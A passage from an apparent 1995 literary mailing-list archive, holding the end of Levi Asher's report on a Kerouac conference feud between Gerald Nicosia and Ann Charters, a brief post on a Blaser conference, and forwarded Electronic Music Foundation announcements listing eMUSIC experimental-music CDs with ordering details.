That was Act One : Act Two took place at Biblio's bookstore in Tribeca, where the Unbearables were staging their Jack Kerouac Impersonators Contest. Ann Charters showed up with her husband Sam (a legendary Blues author, who wrote Country Blues and The Blues Makers, and who played a very important part in the late-fifties/early-sixties rediscovery of Robert Johnson, Son House and many other old bluesmen). They were sitting at a table with a very nice guy I'd recently talked to in the NYU lobby (Ralph, from Minneapolis) and since Ralph offered me a seat near him, I suddenly found myself sitting next to Ann and Sam Charters. Then in comes Gerald Nicosia, still wearing his black t-shirt with the nasty Ann Charters quotation on the front, and he heads straight for our table. Ann sees him coming and looks away. "Excuse me, Ann," Gerald Nicosia says. "I just had to ask you ... do you think it's right that I was forcibly removed from the conference this morning under threat of police intervention?"

Or something like that. Ann tries to play it cool. "I know nothing about it, Gerald. I had a cold today, and wasn't even at the conference."

"Well, do you think it was right? And do you think it's right that

so-and-so Jan Kerouac-this and Sampas-family that and so-on and so-forth ..." all in a strident, nearly-threatening tone of voice. He did not seem far from physical violence, although this would not have been much of a problem, as Sam Charters was about a foot taller and a hundred pounds heavier than Nicosia. Ann kept trying to put off his questions. "I'm very sorry that happened, Gerald" "I really don't know what it is you want me to do about that" and so on. Nicosia walked away, simmered for a few minutes, then came back even angrier and started in again.

All the time I'm sitting there thinking : Wow. I'm sitting here watching the two major Kerouac biographers duke it out, and I got a ringside seat.

I'm now going to do something I've never done before in Literary Kicks. I've never expressed my opinion on the Jan vs. Sampas Family hijinks, and that's mainly because I think the whole thing is kind of dumb. I also don't think it's very interesting to serious Kerouac readers -- although from my seat at Biblio's I have to admit it was starting to get pretty damn interesting.

Anywhere, here's how I call it, for what it's worth :

1. Every family has problems, and there is nothing surprising about the fact that Jan Kerouac (Jack's daughter from his second marraige, and a daughter that he refused to recognize and almost never met) is not friendly with the family of Jack's last wife. I'm not saying the Sampas family is right to snub her, or that she should not feel free to express how she feels about being snubbed. But like I said, every family has problems, and I don't see why this particular problem (which is all about money, really, and has nothing to do with incest or rape or death or drugs or anything like that) should be blown up into such a major public issue.

2. Jan Kerouac and Gerald Nicosia are saying that the Sampas family is getting rich by selling off the Kerouac papers little by little, and that they should instead donate or sell the entire Kerouac archive to a library. Well ... okay, whatever. My problem with this argument is : who really cares? Maybe it's better for a single library to own the whole thing, but is this really a critical issue?

You all know how much I care about Kerouac's life and work. But let's admit it ... the guy published enough stuff even during his lifetime to keep his readers busy for years, even decades. And that's not to mention his voluminous letters and journals and art notebooks, and the reminiscences of his many friends and lovers and compatriots. If you put me in a room with the entire Kerouac archive right now, I don't honestly know how interested I'd be. Shit, I

> *haven't even gotten around to reading Vanity of Duluoz yet!*
>
> *I always find it ridiculous when people make too big a deal over a writer's personal archive. No writer is that good. Kerouac was a man, not a holy savior. Just chill out, everybody, all right?*
>
> *3. By the end of the night I had spoken to Ann Charters, and I liked her. I'm aware that many serious students of Beat literature consider her to be a little too chummy with some of the major living Beat figures (mainly, Ginsberg). She's been accused of prettying up the truth in some sections of her book, and she's even been dissed here in Literary Kicks by Tim Bowden in his Carolyn Cassady memoir (he accuses her of bringing a friend to Carolyn's house to engage Carolyn in a vapid discussion while she -- Ann, that is -- furiously scribbles notes from Carolyn's personal papers.) So I feel she's already been raked over the coals, and I would just like to say a word in her defense.*
>
> *This woman wrote about Jack Kerouac in 1973, back when nobody took him seriously as a writer. I mean, NOBODY. Her book wasn't even published by an established firm : Straight Arrow Books was a division of Rolling Stone magazine. That was what the mainstream literary world thought of Jack Kerouac back in '73, four years after his death. It took courage, vision and selfless dedication to devote her career to a a writer whose literary reputation had never been good, and was now in a state of utter ruin.*
>
> *Now everybody from Viking Penguin to New York University kisses Kerouac's ass, and it's an all-new world for Beat scholarship. But let's have a little respect for the person who put her reputation on the line back when it meant something. Yeah, Nicosia is sticking up for Jan Kerouac. But Charters once stuck up for Jack Kerouac, and that means something more.*

Okay, I'm done talking about this. I'd like to conclude this report with a big "YEEE-HAHHH!" for the Unbearables, who put on a fun, truly spontaneous show at Biblio's. It started off with some jokes that were pretty dumb, focusing mainly on a burly guy in a moustache running around in a wig and housedress pretending to be Kerouac's mother. Kinda cute, kinda reminiscent of The Diggers, but also much too long. Some of the audience left during this part, but then the night started to get going, and a session of Kerouac-inspired spontaneous rants and readings began to really generate some steam. Some of it was even good writing, and almost all of it was good ranting. The Unbearables are a cool bunch; I've heard they've previously protested the bad poetry in the New Yorker, to which I can only say : what about the shitty fiction?

> *At one point during the Sip A Beer With Mrs. Kerouac Contest I leaned over to Ann Charters and said "You know, it just occurred to me that you're the only person in this room who actually did sip a beer with Mrs. Kerouac."*
>
> *She replied, "It was actually champagne. She only drank champagne."*
>
> *"Oh really?" I said. "Expensive stuff, or cheap?"*
>
> *"Cheap stuff," Ann Charters said.*
>
> *That's the end of my report. You'll notice I didn't say anything about the conferences themselves. They're still going on today, as I sit at home writing this up. I have a feeling I'm not missing much. As for what's going on in the lobby ... I think I've seen enough already.*
>
> --
> ----------
> *Levi Asher =* [redacted]
>
> *Creator of Literary Kicks, the Beat Literature Web Site*
> *URL: http://www.charm.net/~brooklyn/LitKicks.html*
>
> *Please preview my new Web project, Queensboro Ballads*
> *URL: http://levity.willow.com/brooklyn/*
>
> *"How can you have any pudding if you won't eat your meat?"*
> *-- Pink Floyd*
> ----------

↑ Index

151. Ryan Knighton
Re: Blaserfest Back Channel
Fri 9 Jun 1995

The best whiff of nostalgia I heard was from George. Driving to Simon Fraser after the conference finale,he said to me there were moments during readings and panels that he listened for Spicer's grunt or guffaw and consequent stomp to the nearest pub. Or something in that ballpark.

Ryan

↑ Index

152. **Pierre Joris**

Intro to eMUSIC (fwd)

Fri 9 Jun 1995

Thought the annoucement & catalogue below would be of interest to the inhabitants of this n-space. It truly is a good & useful setup. Enjoy.

Pierre

Forwarded message:
> From [redacted] Fri Jun 9 19:37:57 1995
> From: [redacted]
> Date: Fri, 9 Jun 1995 19:37:26 -0400
> To: [redacted]
> Subject: Intro to eMUSIC
>
> WELCOME TO eMUSIC!
> ========== APRIL-MAY 1995
>
> eMUSIC is a new worldwide service that -- for the first time -- gives you
> easy, direct-mail access to any and all compact discs of experimental,
> exceptional, and/or electronic music. Wherever you live, eMUSIC brings you
> CDs that may be hard to find, discs published by small companies or
> independent composers, even recordings you may not have known existed.
>
> If you're a composer, compact discs of your works will be available through
> eMUSIC. If you're a listener, eMUSIC gives you immediate access to some of
> the world's most interesting music. If you're both -- well, better yet!
>
> How does it work? Every month or so we'll send you a brief catalog of
> selected discs available through eMUSIC. You'll find electronic music
> history, unusual sounds, new ways of combining words and music, new
> approaches to improvisation, computer music, interactive music, portraits of
> composers, 20th-century virtuosi...and more! Our goal is to make available
> every disc of experimental, exceptional, and electronic music -- in short,
> eMUSIC.
>
> In this introductory catalog, we're setting the tone (so to speak). You'll
> find compact discs from the United States, Canada, France, Australia,
> Germany, and Switzerland. You'll find two unusual packages representing
the
> two first European studios of the 1950s: a definitive collection of Pierre
> Schaeffer's work in musique concrete and a collection of Stockhausen's early
> work in Cologne. And you'll find a special offer.

>
> But if you don't find what you're looking for, just ask for it. For
> information on how to order CDs, read the "How to Order" section that
follows
> the listing of discs. We suggest you also read the section called "Join the
> Inner Circle."
>
> ========== THE DISCS
> PIONEERS: and a special!
> Take 'The Art of the Theremin' free
> with a Charter Subscription!
> ==========
>
> THE ART OF THE THEREMIN
> First demonstrated in 1920, the Theremin is played by moving one's hands in
> the air. Clara Rockmore is its first virtuoso, accompanied here by Nadia
> Reisenberg, pianist. The package includes an informative booklet. It's all
> beautiful magic.
> => eMUSIC #DE-100 ($15, or free this month with Charter Subscription)
>
> PIERRE SCHAEFFER: MUSICAL WORKS
> The definitive collection, including 'Etude aux Chemins de Fer' ('Railroad
> Study', 1948), the first piece of musique concrete, and 'Symphonie pour un
> Homme Seul' (1950, 'Symphony for One Man Alone'). Four discs and a book
of
> essays (in French) and photographs.
> => eMUSIC #IN-106 $49
>
> STOCKHAUSEN: ELEKTRONISHE MUSIK 1952-1960
> Includes 'Etude' (1952), composed at Pierre Schaeffer's studio in Paris,
> 'Studie I' (1953), 'Studie II' (1954), 'Gesang der Junglinge' (1956), and
> 'Kontakte' (1960). Also a book of essays and articles on the music in German
> and English, scores, and photographs.
> => eMUSIC #ST-100 $36
>
> ELECTRO ACOUSTIC MUSIC CLASSICS
> Includes Edgard Varese' 'Poeme Electronique' (1957), first performed at the
> Philips Pavilion at the Brussels World Fair in 1958 in a building designed by
> Iannis Xenakis who was at the time working for Le Corbusier as an architect;
> Iannis Xenakis' 'Mycenae-Alpha' (1978), composed with Xenakis' original
UPIC
> System, a graphic input device that let him "draw" sounds; Milton Babbitt's

> 'Philomel' (1963) with sounds of the RCA Mark II Sound Synthesizer and Judith
> Bettina, soprano; and Roger Reynolds' 'Transfigured Wind IV' (1985),
> computer sounds and flutist Harvey Sollberger.
> => eMUSIC #NE-103 $16
>
> ROARATORIO
> One of John Cage's big big big works, composed in 1979, with Cage reading his
> text 'Writing for the Second Time Through Finnegans Wake', Irish musicians
> playing and singing, and all the sounds mentioned in Finnegans Wake as
> assembled by Cage on a 62-track collage tape. Two discs include a
> conversation between Cage and Klaus Schoning (who commissioned the work for
> the WDR in Cologne) and Cage reading his text. Also two booklets with
> essays, conversations, and the text.
> => eMUSIC #MO-108 $26
>
> FORBIDDEN PLANET
> The original 1956 soundtrack to MGM's 'Forbidden Planet' by Louis and Bebe
> Barron. In their words, "We created individual cybernetic circuits for
> particular themes and leit motifs..." One of the first electronic film
> tracks.
> => eMUSIC #GN-100 $15
>
> JAMES TENNEY: SELECTED WORKS 1961-1969
> Tenney began at Bell Labs at the dawn of computer music. He led the way.
> This disc includes 'Collage #1 ("Blue Suede")' (1961), 'Analog #1: Noise
> Study' (1961), and other early pieces.
> => eMUSIC #AR-106 $14
>
> RISSET
> Classics of elegant computer music. Includes 'Inharmonique' (1977), which
> relates sound and harmony; 'Sud' (1985), based on sounds of the sea near
> Marseilles; 'Dialogues' (1975), for flute, clarinet, piano, and percussion
> with taped computer sounds; and 'Mutations' (1969), composed at Bell Labs in
> New Jersey.
> => eMUSIC #IN-103 $16
>
> JOHN CHOWNING
> Breakthrough moments in computer music, including 'Sabelithe' (1966,

revised
> 1971), 'Turenas' (1972), 'Stria' (1977), and 'Phone' (1981). Chowning aimed
> at sounds that were special to computers yet expressive and beautiful. In
> 'Stria', for example, the sounds are simply out of this world.
> => eMUSIC #WE-102 $19
>
> MORTON SUBOTNICK: TOUCH
> Subotnick was there to play the first Buchla synthesizer in 1963. In 'Touch'
> (1969), he touches things to control the sound. 'Jacob's Room' (1986), on the
> other hand, is hi-tech drama with Joan La Barbara, soprano. From 'Touch' to
> 'Jacob's Room' is technology time travel.
> => eMUSIC #WE-104 $19
>
> TERRY RILEY: IN C
> A fabulous performance of music that changed the world. It's about patterns,
> shifting tonalities, energy, all around C. 30 musicians playing 30
> instruments plus. 'In C' was originally commissioned in 1964 by the San
> Francisco Tape Music Center.
> => eMusic #NA-120 $16
>
> ==========
> COMBINING WORDS AND MUSIC:
> in opera, sound poetry, and improvisation
> ==========
>
> TRANSPARENCE
> Marc Battier, in Paris, transforms -- using Phonogramme, a graphic audio
> program -- a fragment of speech by Henri Chopin, a well-known French
pioneer
> of sound poetry. You hear his voice for a few seconds only, but it's under
> everything. As Battier puts it, "The voice of the poet... is reincarnated as
> a new skin, it changes form, it is in mutation, it is re-invented." It also
> produces extraordinary sounds.
> => eMUSIC #UN-100 $16
>
> KURT SCHWITTERS: URSONATE
> 'Ursonate', a verbal sonata, is a legend of sound poetry, finished in 1932.
> Invented words are used as motives, rhythms and themes, and combined in
the
> form of a sonata. Eberhard Blum brings more than twenty years of
> performances to this disc.
> => eMUSIC #HA-216 $19

>
> eL/AFICIONADO
> An electronically-accompanied opera by Robert Ashley, in his words "scenes
> from the life of an 'agent'... 'debriefing' to a jury of Interrogators..."
> With Thomas Buckner, Robert Ashley, Jacqueline Humbert, and Sam Ashley, all
> singing and speaking. The textures and electronic orchestrations are, as in
> all of Ashley's music, seductive, beautiful and evocative. Libretto
> included.
> => eMUSIC #LO-101 $16
>
> 73 POEMS
> Joan La Barbara's vocal-electronic settings of Kenneth Goldsmith's
> multi-level, evocative, sometimes lyrical, sometimes funny, 73-part poem.
> It's an exceptional marriage of words and word-sounds as music.
> => eMUSIC #LO-123 $15
>
> MACHINE FOR MAKING SENSE
> Five from Australia. Chris Mann and Amanda Stewart read and sing their
> poetry while Stevie Wishart plays violin and hurdy-gurdy, Jim Denley plays
> winds, and Rik Rue manipulates sounds, and everyone plays with electronics.
> Quite an incredible, rich, complex, and wonderful improvisation.
> => eMUSIC #OO-117 $15
>
> VALIS
> An electronic opera by Tod Machover, commissioned by the Pompidou Center in
> Paris for its 10th anniversary in 1987. It's based on the science fiction
> novel by Philip K. Dick. Many voices sing and speak with keyboard,
> percussion and electronic techniques developed at IRCAM and MIT. Original
> English version. Libretto included.
> => eMUSIC #BR-101 $16
>
> ==========
> PLAYING TOGETHER: unusual approaches
> to group activity.
> ==========
>
> THE HUB: COMPUTER NETWORK MUSIC
> Music by John Bischoff, Tim Perkis, Chris Brown, Scot Gresham-Lancaster, Mark
> Trayle, and Phil Stone, all in the San Francisco area. Their "Hub" is a

> central computer which takes what someone plays and interprets it for the
> others so that they're all acting on the same data. It's a network approach
> to group performance.
> => eMUSIC #AR-101 $14
>
> CONCERTO GROSSO
> Richard Teitelbaum composed this -- well, he devised the system that
produced
> it -- in 1985. Improvisations by Teitelbaum (keyboard and computer),
Anthony
> Braxton (saxophones), and George Lewis (trombone) alternate with
> computer-controlled acoustic grand pianos and synthesizers. Lively and
> musical.
> => eMUSIC #HA-118 $19
>
> NO WORLD (TRIO) IMPROVISATIONS
> Joseph Celli and Jin Hi Kim, with Alvin Curran, Malcolm Goldstein, Shelley
> Hirsch, Adam Plack, and Mor Thiam, come together as a global-village
> improvisation group. There's an Australian didjeridoo, Korean komungo and
> piri, African percussion, oboe, English horn, violin, voice, and electronics,
> and sounds like never before.
> => eMUSIC #OO-102 $15
>
> MOVIN' ON
> Updated jazz. Bruno Spoerri plays saxophones, Synthophone (electronic
> saxophone invented by Martin Hurni in Switzerland), synthesizers, and a
> Macintosh computer. Reto Weber does a lot with percussion. With Albert
> Mengelsdorff, trombonist, and Ernst Reijseger, cellist.
> => eMUSIC #TU-100 $15
>
> THOUSAND YEAR DREAMING
> Parts of it fully scored, parts improvised, Annea Lockwood has assembled Jon
> Gibson, Art Baron, Libby Van Cleve, J.D. Parran, Michael Pugliese, Scott
> Robinson, John Snyder, Charles Wood, and Peter Zummo to play didjeridoo,
> conch shell, trombone, oboe, English horn, clarinet, contrabass clarinet,
> tam-tam, clapping sticks, frame drums, pod rattle, tam-tam, superball,
> waterphone, and stones. The title refers to Australian aboriginals' sense of
> history as dreaming, and the titles of the sections-breathing and dreaming,
> the Chi stirs, floating in mid-air, in full bloom-describe the moods.
> => eMUSIC #WN-109 $15
>
> ==========

> MUSIC ABOUT SOUNDS: finding and
> making new sounds at home and abroad.
> ==========
>
> DENIS SMALLEY: IMPACTS INTERIEURS
> For Smalley, "The starting point is always the sound..." 'Valley Flow'
> (1991) is the sound of the Canadian Rockies. And what a stunning sound!
> Also included: 'Piano Nets' (1991), 'Wind Chimes' (1987), 'Clarinet
> Threads' (1985), and 'Darkness After Time's Colours' (1976).
> => eMUSIC #IM-106 $15
>
> MILA'S JOURNEY INSPIRED BY A DREAM
> Eliane Radigue synthesizes atmospheres. Her sounds fill the air, suggesting
> peace, time and transformation. This sound is an environment for Milarepa's
> songs (Milarepa was an 11th-century Tibetan poet who taught through
singing),
> sung here by Lama Kunga Rinpoche in Tibetan and recited by Robert Ashley
in
> English.
> => eMUSIC #LO-113 $15
>
> HOMEBREW
> Paul Lansky takes banged kitchen objects, traffic noises, fairytales,
> clapping, a shopping mall, and transforms the sounds. It's an homage to his
> family. Can computer music be charming? Yes.
> => eMUSIC #BR-107 $15
>
> ANGELS AND INSECTS
> David Dunn looks to the biosphere: "Beneath the water's surface are a
> variety of plants and small insects... While the sounds above water are
> comfortable and familiar, those occurring under the surface are shocking...
> as if controlled by a mysterious but urgent logic..." They make for
> compelling music.
> => eMUSIC #WN-108 $15
>
> RAINFOREST IMAGES
> Priscilla and Barton McLean went far afield for these sounds, among them
> Peruvian and Australian bird calls, wooden recorders, and didjeridoo, all
> processed electronically in studios in Australia and New York.
> => eMUSIC #CA-104 $15
>
> OCEAN FLOWS

> Rik Rue, Australian sound artist, records sounds and creates soundscapes.
> 'Ocean Flows' is about ocean waves over beaches and rocks. 'Ebbs Tides and
> Flows' uses the sounds of Sydney Harbor. 'Goondiwindi', an Aboriginal word
> meaning "water flowing over rocks," is a water-sound exploration of crevices,
> channels and caves. It's hearing a whole new world in what we think we know.
> => eMUSIC #TP-103 $19
>
> ==========
> COMPILATIONS: surveys, group portraits,
> overviews, variety.
> ==========
>
> THE VIRTUOSO IN THE COMPUTER AGE (II)
> Music from five US studios, including Larry Austin's 'Life Pulse Prelude'
> (1984), based on sketches for Charles Ives' unfinished Universe Symphony;
> Gareth Loy's 'Blood From A Stone' (1992), for Max Mathews' electronic
> violin; Chris Chafe's and Dexter Morrill's 'Duo Improvisation' (1991), with
> celletto (Chafe's electronic cello), trumpet, and computer; Neil Rolnick's
> 'The Persistence of the Clave' (1992); Rodney Waschka II's 'Last Night'
> (1990), for alto sax and piano; Jon Appleton's 'Homenaje a Milanes' (1987),
> for Synclavier; and Larry Polansky's '(And to rule...)(Cantillation Study
> #2)' (1988), for flute and computer. Assembled by Larry Austin.
> => eMUSIC #CE-111 $15
>
> SEAMUS
> A selection, mostly for taped sounds with and without acoustic-instrument
> performances, compiled by the Society for Electro-Acoustic Music in the
> United States. Includes Larry Nelson's 'Order and Alliance'(1991), Scott
> Wyatt's 'Counterpoints' (1992), Joseph Koykkar's 'Triple Play' (1992), Joseph
> Anderson's 'in mosaic' (1992), Charles Mason's 'The Blazing Macaw' (1992),
> Stephen Beck's 'Love's Not Time's Fool' (1992), Eric Chasalow's 'Fast
> Forward' (1988), and Paul Koonce's 'Whitewash' (1992).
> => eMUSIC #SE-100 $15
>
> JEWEL BOX
> Music, performance art, and radio works by Anne LeBaron, Laetitia Sonami,
> Sussan Deihim, Bun Ching Lam, Catherine Jauniaux, Ikue Mori, Sapphire, Mary
> Ellen Childs, and Michelle Kinney, all exceptional women composers and
> performance artists with something to say. Sometimes something

spellbinding.
> Storytelling and sounds from harp to household objects to electronics to
> electronically treated speech.
> => eMUSIC #TE-101 $16
>
> AUSTRAL VOICES
> Exceptional voices from Australia. Alan Lamb records "telegraph wires
> singing in the wind." Alistair Riddell plays a computer-driven piano. Sarah
> Hopkins extends cello and vocal sounds in the "natural unhurried rhythms of
> the environment of the Northern Territory." Warren Burt composes for his
> specially made and tuned tuning forks. Ros Bandt records in a hollow
> concrete cylinder five floors underground in Melbourne. Jeff Pressing plays
> sequencers and synthesizers. Ross Bolleter uses the ruined piano at the
> Nallan sheep station north of Perth.
> => eMUSIC #NA-107 $16
>
> ==========
> COMPOSERS: discs that are indicators
> to a single composer's approach.
> ==========
>
> FRANCOIS BAYLE: FABULAE
> Bayle is director of the Groupe de Recherche Musicale in Paris and inheritor
> of the tradition of musique concrete. He stretches the tradition. His
> sounds start from acoustic activities -- xylophone glissandi, bird calls,
> wind, percussion, harps, water bubbling -- but the total effect is of an
> unlimited orchestra accompanying an imaginary ballet.
> => eMUSIC #IN-124 $16
>
> GIUSEPPE G. ENGLERT
> Englert was a founding member of the Groupe Art et Informatique de
Vincennes
> (GAIV) in Paris. He's always looked for new ways to compose, to think.
> 'Sopra la Girolmeta' (1991), the electronic work here, is about algorithms
> and interactivity. Also: 'Les Avoines folles' (1963) for string quartet;
> 'Fragment & Caracol' (1974) for orchestra; 'La Joute des Lierres' (1966)
> for string quartet; and 'Babel' (1983) for orchestra.
> => eMUSIC #GR-101 $19
>
> PAULINE OLIVEROS: CRONE MUSIC
> Originally composed to accompany the actors' amplified dialog throughout
> Mabou Mines' production of 'Lear', here it's performed by Oliveros on her

> expanded accordion -- which employs electronics to process the instrument's
> sound during performance.
> => eMUSIC #LO-112 $15
>
> JERRY HUNT: GROUND
> Hunt performed with devices -- usually his own inventions, often involving
> visuals and collaborations with other artists -- linked together in systems.
> As he puts it, "congruent layers of associations of inflection-calls
> evoke... point specific, melody-action strings embedded in a reference
> context of conventions of performance." At some point in your life, you must
> experience the originality of Jerry Hunt's personality.
> => eMUSIC #OO-107 $15
>
> DEXTER MORRILL: GETZ VARIATIONS
> Underneath Morrill's computer music lurks the soul of a jazz musician. It's
> in the turns of the phrases, moods, rhythms, colors. 'Getz Variations'
> (1984), 'Sketches for Invisible Man' (1989), and 'Six Studies and an
> Improvisation' (1992) all involve saxophones and computers, the lyrical and
> the interesting. David Demsey plays the saxophones.
> => eMUSIC #CE-120 $15
>
> ALCIDES LANZA: TRILOGY
> Lanza grew up in Argentina, lived in New York, and now lives in Montreal.
> 'Trilogy' is an autobiographical cycle of songs presented as an evening of
> music theatre for singer, electronic sounds, and lights, with texts in
> English, French, Spanish, and an invented language, sung here by the
> impressive Meg Sheppard.
> => eMUSIC (#SH-100) $16
>
> ROBERT NORMANDEAU: LIEUX INOUIS / UNHEARD-OF PLACES
> Normandeau's unheard-of places are in the scenes depicted by his sounds, of
> wind, footsteps, water, words... and synthesized electronic sounds, composed
> in Montreal, Quebec, Bourges (France), and Ohain (Belgium). With evocative
> audio imagery veering between narration and abstract sound, his music casts
a
> spell.
> => eMUSIC #IM-101 $15
>
> MICHEL REDOLFI: DESERT TRACKS
> Redolfi directs the Centre International de Recherche Musicale in Nice, but
> he's also spent a bit of time in California. In 'Desert Tracks' (1988), you
> feel the space and heat of the Mohave, of Death Valley -- in Redolfi's words,

> "the shivering resonances of the landscapes..." Also: 'Too Much Sky' (1984)
> and 'Pacific Tubular Waves' (1979), inspired by the California coast.
> Redolfi's sounds glitter like the waves.
> => eMUSIC #IN-105 $16
>
> CARL STONE: MOM'S BAR-B-Q
> "Sometimes," Stone says, "I'm simply attracted to a kind of wonderful
> moment..." So he takes the moment and makes something special, like the
> extraordinary sound transformations in 'Banteay Srey' (1991) and 'Shing Kee'
> (1986). Also: 'Gadberry's' (1989), 'Mom's' (1990), and 'Chao Nue' (1990).
> => eMUSIC #NA-114 $16
>
> NEIL ROLNICK: MACEDONIAN AIR DRUMMING
> Rolnick gets around. He was in Yugoslavia for the sounds in 'Macedonian Air
> Drumming' (1990), which he performs with Air Drums. And 'ReRebong'
(1989)
> uses Indonesian gamelan sounds. 'Sanctus' (1990), a score for Barbara
> Hammer's film, is electronically-processed fragments from masses by
Machaut,
> Byrd, Bach, et al. 'Balkanization' (1988) uses Balkan folk songs.
> => eMUSIC #BR-105 $15
>
> MARY JANE LEACH: CELESTIAL FIRES
> Here's music -- 'Bruckstuck', 'Green Mountain Madrigal', 'Mountain Echoes',
> and 'Ariel's Song' -- performed by the New York Treble Singers, a chorus of
> women's voices which makes the sounds float like clouds on a breezy day.
> There's also 'Feu de Joie' and 'Trio for Duo', instrumental and vocal
> pieces.
> => eMUSIC #XI-106 $15
>
> PHILL NIBLOCK: FOUR FULL FLUTES
> Niblock records instruments, in this case played by flutists Petr Kotik and
> Eberhard Blum, and mixes the sounds in multiple layers and clusters to form
a
> big sound, sometimes strident, sometimes harmonic. As Tom Johnson said of
> Niblock's music, "It must be heard to be believed." It's true.
> => eMUSIC #XI-100 $15
>
> BOB WILLEY: PEACE PIECES
> Willey lives in California and, in his words, this disc is "new age jazz
> bossa nova folk electronic instrumental experimental." Actually, it's more
> than that: it's California new age jazz bossa... It's also Norway,

> Casteneda, and other places and writers, and it puts a hi tech approach in
> the service of easy listening.
> => eMUSIC #OU-100 $15
>
> ========== HOW TO ORDER
>
> To order discs, contact eMUSIC via email, fax, regular mail, telephone,
> personal visits -- or, in extreme cases, by carrier pigeon. Give us a list
> of the CDs you'd like to buy, and mention their eMUSIC catalog numbers.
> Please bear in mind that some discs are available only in relatively small
> numbers. We'll fill orders as we receive them.
>
> Tell us your address (including email) and phone numbers, and where you'd
> like the discs shipped (if it's different from your mailing address).
>
> Please pay in advance. You can calculate the amount of your payment as
> follows:
>
> Add together the prices of the discs you'd like to buy. Then add the
> appropriate amount for shipping (priority mail) according to the following
> table:
>
> North America & Mexico: First disc $2.00, each additional disc $1.00.
> South America: First disc $3.00, each additional disc $1.50.
> Europe: First disc $4.00, each additional disc $2.00.
> Asia/Australasia: First disc $5.00, each additional disc $2.50.
>
> Then, if you live in New York State, add 8% sales tax to the total. (New
> York State requires that we charge sales tax also on shipping charges.)
>
> We accept credit cards (Mastercard and VISA). We also accept checks, bank
> drafts and money orders -- but only in US$, drawn on a US bank.
>
> If you're paying by credit card, we need your name (as it appears on the
> card), your card number, the expiration date of the card, and your billing
> address and phone number (in case we need to contact you). Please give us
> credit card information by fax, phone, or regular mail (rather than email) to
> protect the confidentiality of your information. After you've provided us
> with your credit card information, you can email your orders -- and just tell
> us to charge your card.
>
> Place your order by:

>
> Email to: [redacted]
> Fax to: [redacted]
> Telephone to: [redacted]
> Regular mail and carrier pigeon to: eMUSIC, 116 North Lake Avenue, Albany NY
> 12206, USA
>
> ========== JOIN THE INNER CIRCLE
>
> eMUSIC is a program of Electronic Music Foundation (EMF), a not-for-profit
> organization in New York State, USA. EMF exists to disseminate information
> and materials related to the history and current development of electronic
> music.
>
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> making a one-time gift of $100. Your financial support will help us a great
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>
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> 116 North Lake Avenue
> Albany NY 12206

> USA
> Voice: [redacted]
> Fax: [redacted]
> email: [redacted]
>
> ####
>

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
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153. Pierre Joris
EMF Info (fwd)
Fri 9 Jun 1995

& here's a bit more info about EMF. They will also be happy to have input & queries (many on this list are well versed in word/music matters & should, if they feel so, make suggestions for the eMUSIC catalogue)

Pierre

Forwarded message:
> From [redacted] Fri Jun 9 19:38:13 1995
> From: [redacted]
> Date: Fri, 9 Jun 1995 19:34:49 -0400
> To: [redacted]
> Subject: EMF Info
>
> Dear Colleague, Friend, Listener,
>
> We'd like you to know about Electronic Music Foundation. That's why we've
> sent you an introductory eMUSIC catalog. If you've received duplicate
> mailings, we apologize. We do not want to clutter the wires. Consequently,
> to remain on our mailing list after you've read this letter, please do
> something: buy a disc, become a Charter Subscriber, or say something simple
> like "Please keep me on your list."

>
> Here is some basic information.
>
> EMF was founded in September 1994 as a not-for-profit organization in New
> York State, USA. EMF's trustees are Joel Chadabe, Paul Lansky, and Neil
> Rolnick. Its mission is to disseminate important information and materials
> related to the history and current development of electronic music. As EMF's
> president Joel Chadabe put it, "The development of electronic musical
> instruments through the twentieth century is a fascinating and wonderful
> history that should be documented for now and for the future. Yet the most
> important work of the pioneering composers, engineers, and
> entrepreneurs-including recordings, photographs, and other important
> documents-is often difficult to find."
>
> Our next projects are an electronic music photo archive and an information
> dissemination center.We've begun the process of creating an archive of
> photographs dealing with the history of electronic music. The archive will
> be made available to scholars and the general public in various formats,
> including photographic prints, photo-CDs, and books.
>
> Our information center will publish a newsletter highlighting the
> availability of historically important materials-and informing subscribers as
> to the location and availability of composers' archives, museums and
> collections of historical electronic instruments, and other historical
> materials and electronic music projects around the world.
>
> Through its information center, EMF also plans to sell books and other items,
> organize conferences and concerts, produce historically important compact
> discs and other materials, and provide archival services such as posthumous
> cataloging, evaluation, placement, storage, and/or dissemination of a
> composer's works.
>
> Our international group of Advisors and Charter Subscribers currently
> includes Jon Appleton, Larry Austin, Marc Battier, Gerald Bennett, John
> Bischoff, Jack Body, Jurg Brennwalder, Herbert Brun, Thomas Buckner,
Warren
> Burt, Joseph Celli, Chris Chafe, Jacques Chareyron, Hugh Davies, Christopher
> Dobrian, John Duesenberry, John Eaton, Simon Emmerson, Emmanuel Ghent,
Robert
> Gluck, Jonathan Harvey, Folkmar Hein, Gottfried Michael Koenig, Francisco
> Kropfl, Paul Lansky, Otto Laske, George Lewis, George Logemann, Peter
> Manning, Max Mathews, Barton & Priscilla McLean, Eduardo Miranda,

Gordon
> Monro, Stephen Montague, Dexter Morrill, Larry Moss, Randy Neal, Phill
> Niblock, Pauline Oliveros, Marc Paping, Godfried-Willem Raes, Michel
Redolfi,
> Juan I Reyes, Tom Rhea, Alistair Riddell, Jean-Claude Risset, Curtis Roads,
> Neil Rolnick, Carla Scaletti, Wayne Siegel, Bruno Spoerri, Carl Stone, Mark
> Sullivan, Richard Teitelbaum, Diane Thome and Robert Austin, Robert Scott
> Thompson, James Tobias, Kazuo Uehara, Alvise Vidolin, Felix Visser, David
> Williams, Jan Williams, Patte Wood, David Worrall, Scott Wyatt, Iannis
> Xenakis, and David Zicarelli.
>
> We invite you to join us as a Charter Subscriber-to the eMUSIC Inner Circle,
> to our newsletter, indeed to all of our activities-by making a one-time
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> or partial payment will signify your interest.
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> of interesting materials.
>
> Please be in touch with us by phone, fax, letter, or electronic mail. Our
> email address is [redacted]. We look forward to hearing from you.
>
>
> Julie Panke
> Executive Director
>
>
==========
> Electronic Music Foundation
> 116 North Lake Avenue
> Albany NY 12206
> USA
> Tel: [redacted]
> Fax: [redacted]
> Email: [redacted]
>
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==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
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154. **maria damon**

Re: Fireworks at NYU Kerouac Conference

Sat 10 Jun 1995

